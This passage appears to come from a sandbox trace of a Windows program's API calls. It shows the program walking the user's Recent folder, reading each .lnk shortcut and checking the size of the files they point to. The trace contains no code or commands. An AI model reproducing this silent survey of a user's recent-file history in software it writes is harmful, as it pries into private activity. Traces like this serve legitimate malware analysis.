HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\.", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.", len=0x48 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.", len=0x48 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.", len=0x48 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.") returned 1 [0076.399] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9e3fdaa0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e3fdaa0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\.", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..", len=0x4a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..", len=0x4a | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..", len=0x4a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..", len=0x49 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\..", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..", len=0x49 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..") returned 1 [0076.399] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..", len=0x49 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..") returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..", len=0x49 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..") returned 1 [0076.400] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d921640, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d921640, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d921640, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="-2-d2UdE5bHRb3Wgt.lnk", cAlternateFileName="-2-D2U~1.LNK")) returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\..", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk") returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk", len=0x5d | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk") returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk") returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk") returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-2-d2UdE5bHRb3Wgt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk") returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk") returned 1 [0076.400] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk") returned 1 [0076.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-2-d2ude5bhrb3wgt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.511] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x415 [0076.511] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c118, nNumberOfBytesToRead=0x415, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c118*, lpNumberOfBytesRead=0x18e2f8*=0x415, lpOverlapped=0x0) returned 1 [0076.512] CloseHandle (hObject=0x3f8) returned 1 [0076.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-2-d2UdE5bHRb3Wgt.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-2-d2ude5bhrb3wgt.csv"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.512] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x10304 [0076.512] CloseHandle (hObject=0x3f8) returned 1 [0076.512] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3b17e0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e3b17e0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e3b17e0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="-LozpNEJj9YNqUHsd.lnk", cAlternateFileName="-LOZPN~1.LNK")) returned 1 [0076.512] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-2-d2UdE5bHRb3Wgt.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk") returned 1 [0076.512] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk", len=0x5d | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk") returned 1 [0076.512] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk") returned 1 [0076.512] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk") returned 1 [0076.512] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-LozpNEJj9YNqUHsd.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk") returned 1 [0076.513] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk") returned 1 [0076.513] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk") returned 1 [0076.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-lozpnejj9ynquhsd.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.513] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x415 [0076.513] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c1a8, nNumberOfBytesToRead=0x415, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c1a8*, lpNumberOfBytesRead=0x18e2f8*=0x415, lpOverlapped=0x0) returned 1 [0076.514] CloseHandle (hObject=0x3f8) returned 1 [0076.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-LozpNEJj9YNqUHsd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-lozpnejj9ynquhsd.bmp"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.514] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x14b3 [0076.514] CloseHandle (hObject=0x3f8) returned 1 [0076.514] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b924ea0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9b924ea0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9b924ea0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="-p4ffBCma.lnk", cAlternateFileName="-P4FFB~1.LNK")) returned 1 [0076.514] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LozpNEJj9YNqUHsd.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk") returned 1 [0076.514] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk", len=0x55 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk") returned 1 [0076.514] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk") returned 1 [0076.514] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk", len=0x54 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk") returned 1 [0076.514] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\-p4ffBCma.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk") returned 1 [0076.514] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk", len=0x54 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk") returned 1 [0076.514] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk") returned 1 [0076.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-p4ffbcma.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.515] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xa2c [0076.515] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c220, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c220*, lpNumberOfBytesRead=0x18e2f8*=0xa2c, lpOverlapped=0x0) returned 1 [0076.515] CloseHandle (hObject=0x3f8) returned 1 [0076.516] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.516] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dfd3420, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9dfd3420, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dfd3420, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="06IT.lnk", cAlternateFileName="")) returned 1 [0076.516] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-p4ffBCma.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk") returned 1 [0076.516] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk") returned 1 [0076.516] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk") returned 1 [0076.516] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk") returned 1 [0076.516] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\06IT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk") returned 1 [0076.516] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk") returned 1 [0076.516] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk") returned 1 [0076.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\06it.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.516] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x4c7 [0076.517] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c08c, nNumberOfBytesToRead=0x4c7, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c08c*, lpNumberOfBytesRead=0x18e2f8*=0x4c7, lpOverlapped=0x0) returned 1 [0076.517] CloseHandle (hObject=0x3f8) returned 1 [0076.517] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.518] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d26f860, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d26f860, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d26f860, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="0yRPUT6TDREHeWByR4rP.lnk", cAlternateFileName="0YRPUT~1.LNK")) returned 1 [0076.518] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\06IT.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk") returned 1 [0076.518] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk", len=0x60 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk") returned 1 [0076.518] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk", len=0x60 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\0yRPUT6TDREHeWByR4rP.lnk") returned 1 [0076.518] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0yRPUT6TDREHeWByR4rP.lnk", len=0x5f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS 